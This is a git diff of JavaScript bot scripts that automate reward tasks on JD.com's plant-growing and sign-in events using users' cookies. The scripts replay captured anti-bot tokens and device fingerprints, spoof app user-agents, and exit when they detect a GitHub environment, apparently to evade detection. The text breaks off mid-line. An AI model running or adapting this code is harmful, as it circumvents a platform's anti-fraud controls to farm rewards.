`https://api.m.jd.com/?functionId=apDoTask&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh+PHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw/3GbroYtSX+YNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","taskType":"${taskType}","taskId":${taskId},"channel":4,"itemId":"${itemId}","antiToken":"oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V+dlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR/endVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs/UDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~504~gpli|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623230944718,1623230944817,0,0,0,0,0,0,0,0,0;88yh","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623236252762`, + +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + $.qd = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function dolist() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/?functionId=apTaskList&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh%2BPHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw%2F3GbroYtSX%2BYNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body=%7B%22linkId%22%3A%22fzf6tK4xMfE2ICK4-T_iUw%22%2C%22antiToken%22%3A%22oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V%2BdlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29%2BPU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR%2FendVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5%2BaA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs%2FUDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85%7C~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ%3D%3D~1~504~gpli%7Cdoei%3A%2C1%2C0%2C0%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%3Bdmei%3A%2C1%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%2C1000%2C-1000%3Bemc%3A%3Bemmm%3A%3Bemcf%3A%3Bivli%3A%3Biivl%3A%3Bivcvj%3A%3Bscvje%3A%3Bewhi%3A%3B1623230944718%2C1623230944817%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%3B88yh%22%2C%22frontendInitStatus%22%3A%22s%22%2C%22platform%22%3A1%7D&appid=activities_platform&t=1623236246485`, + +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + $.do = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function jiaoshui(plantId) { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/?functionId=watering&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh+PHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw/3GbroYtSX+YNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","plantId":"${plantId}","antiToken":"oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V+dlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR/endVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs/UDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~504~gpli|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623230944718,1623230944817,0,0,0,0,0,0,0,0,0;88yh","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623237544296`, + +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + watering = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function apCollectWater() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/ `, +body: `functionId=apCollectWater&client=ios&clientVersion=14.3&networkType=wifi&eid=eidIc2ff812158s1ARLLPvIBQjyII7trmiE3BQESzLTXqSC9s3TX28oQv3zQuaY+15FedjhWtgYfTsUSkl9FEDNBP8LQRrRx5GwEA93H4jSPYNJ1OvNs&fp=-1&uuid=75aeceef3046d8ce11d354ff89af9517a2e4aa11&osVersion=14.3&d_brand=iPhone&d_model=iPhone9,2&referer=-1&agent=-1&pageClickKey=-1&screen=414*736&lang=zh_CN&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","antiToken":"80yyw6qzqeyzl42ape51623285354539awsu~NmZeSyVEbFNSd3V+dlhYBHl0Dg9iRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU8DfnIOXTJXZElScyErdFZVCn11DgEyXjVAASIjLidVXQV+Klxkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJydBFmHE8ebyFTXCIBdEtBKyQhdUNBEC43FQJzUyMJUTAtI31SAkd+KwFaMg0zFlAsMz89Ul1CKXJNQD9RIQQFY2tvJ0NXECp1AFIzED9DBnRxIT0bCVo8K1UJZ1RlQ1t0dHhwVF4KfHYGQnNKdBUQL2V3ZgUDBjUrDl1nRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623295641032~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~~9lwr|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623295640969,1623295641031,0,0,0,0,0,0,0,0,0;88ys","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623295724488`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + getwat = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function chucao(plantId,encryptUid) { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/?functionId=weeding&client=ios&clientVersion=14.3&networkType=4g&eid=eidIc2ff812158s1ARLLPvIBQjyII7trmiE3BQESzLTXqSC9s3TX28oQv3zQuaY+15FedjhWtgYfTsUSkl9FEDNBP8LQRrRx5GwEA93H4jSPYNJ1OvNs&fp=-1&uuid=75aeceef3046d8ce11d354ff89af9517a2e4aa18&osVersion=14.3&d_brand=iPhone&d_model=iPhone9,2&referer=-1&agent=-1&pageClickKey=-1&screen=414*736&lang=zh_CN&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","plantId":"${plantId}","encryptUid":"${encryptUid}","antiToken":"g4utdunnt5ja7wazyp81624112440743frl8~NmZeSyVEbFNSd3V5dVBfBnl0AAtoRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9QLyFTADIAMkdXICZ4cFhbBXV8BF4yX25HV3h0dSdYVVMucQRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJychFmHE8ebyFTXCIBdEtBKzAhNUNBEC43FQJzB29EBHQsdT4GWAB8cFYOZ1M0AgEkMywqGRpCOzJCDGlXIRpaY2tvJ0NXECsnWVsnU2UBFCcjeDcDAVkpPUQJZ1RiQFJzc3l0VlkBIikEAHNKdBUQL2V3ZhlaAjU0RV0nRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1624112440842~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~~xlwr|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1624112440733,1624112440839,0,0,0,0,0,0,0,0,0;88yu","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1624112445417 `, + +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": ck2, + } + } + + $.get(options, async (err, resp, data) => { + try { + + cc = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + + + + + +function help(userpin) { + return new Promise(async (resolve) => { + + let options = { + url: `https://thebigboss.jd.com/?id=fzf6tK4xMfE2ICK4-T_iUw&enter=share&userpin=${userpin}&task=92&ad_od=share&utm_source=androidapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=Wxfriends`, + +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "thebigboss.jd.com", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.5(0x18000528) NetType/WIFI Language/zh_CN", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + //$.helpinfo = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_xs_zzl.js b/jd_xs_zzl.js index 0f8680c..a56dd27 100644 --- a/jd_xs_zzl.js +++ b/jd_xs_zzl.js @@ -38,7 +38,7 @@ let allMessage = ''; $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); diff --git a/jx_sign.js b/jx_sign.js index 3cbcd5e..c96762a 100644 --- a/jx_sign.js +++ b/jx_sign.js @@ -65,7 +65,7 @@ if ($.isNode()) { } else { if (!isLoginInfo[$.UserName]) { - await TotalBean(); + //await TotalBean(); isLoginInfo[$.UserName] = $.isLogin } } @@ -92,7 +92,7 @@ if ($.isNode()) { } else { if (!isLoginInfo[$.UserName]) { - await TotalBean(); + //await TotalBean(); isLoginInfo[$.UserName] = $.isLogin } } @@ -472,7 +472,7 @@ function taskUrl(functionId, body = '') { "User-Agent": UA, "Accept-Language": "zh-CN,zh-Hans;q=0.9", "Referer": "https://st.jingxi.com/", - "Cookie": cookie + "Cookie": `cid=4;${cookie}` } } } @@ -488,7 +488,7 @@ function JDtaskUrl(functionId, body = '') { "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 